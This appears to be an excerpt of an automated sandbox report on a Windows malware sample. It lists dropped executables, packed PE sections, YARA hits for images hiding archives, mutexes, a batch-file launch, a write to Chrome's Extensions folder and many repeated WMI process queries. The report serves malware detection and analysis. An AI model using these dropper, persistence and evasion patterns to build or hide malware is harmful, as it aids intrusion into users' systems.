Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: String function: 0033B767 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: String function: 0033F534 appears 34 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 008680C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 009B80C0 appears 130 times
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, type: DROPPED Matched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, type: DROPPED Matched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\output[1].png, type: DROPPED Matched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
Source: Y-Cleaner.exe.31.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].31.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: random[1].exe0.5.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.5.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: cd2469328d.exe.5.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: cd2469328d.exe.5.dr Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.5.dr Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe1.5.dr Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: 5cda6c90d7.exe.5.dr Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 5cda6c90d7.exe.5.dr Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: cc6b47fc15.exe.5.dr Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: cc6b47fc15.exe.5.dr Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: random[2].exe0.5.dr Static PE information: Section: dsmoqcnp ZLIB complexity 0.9944011532419309
Source: b6638733e4.exe.5.dr Static PE information: Section: dsmoqcnp ZLIB complexity 0.9944011532419309
Source: random[2].exe1.5.dr Static PE information: Section: wasfhoet ZLIB complexity 0.9943352085127763
Source: b05c9e01f3.exe.5.dr Static PE information: Section: wasfhoet ZLIB complexity 0.9943352085127763
Source: random[2].exe2.5.dr Static PE information: Section: tsdsdsrb ZLIB complexity 0.9900423479190835
Source: c9d0f96e57.exe.5.dr Static PE information: Section: tsdsdsrb ZLIB complexity 0.9900423479190835
Source: random[4].exe.5.dr Static PE information: Section: ZLIB complexity 0.9973311750856164
Source: random[4].exe.5.dr Static PE information: Section: ltyimmoj ZLIB complexity 0.9946100175144684
Source: 142c991362.exe.5.dr Static PE information: Section: ZLIB complexity 0.9973311750856164
Source: 142c991362.exe.5.dr Static PE information: Section: ltyimmoj ZLIB complexity 0.9946100175144684
Source: classification engine Classification label: mal100.rans.troj.spyw.evad.winEXE@160/109@40/20
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe File created: C:\Program Files\Google\Chrome\Extensions
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2588:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Mutant created: \Sessions\1\BaseNamedObjects\48cb35e3030a2b429c6ac414faba9b49
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Command line argument: .3 8_2_0033E280
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Command line argument: .3 10_2_0033E280
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe System information queried: HandleInformation Jump to behavior
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8012
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8012
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7844
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7844
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
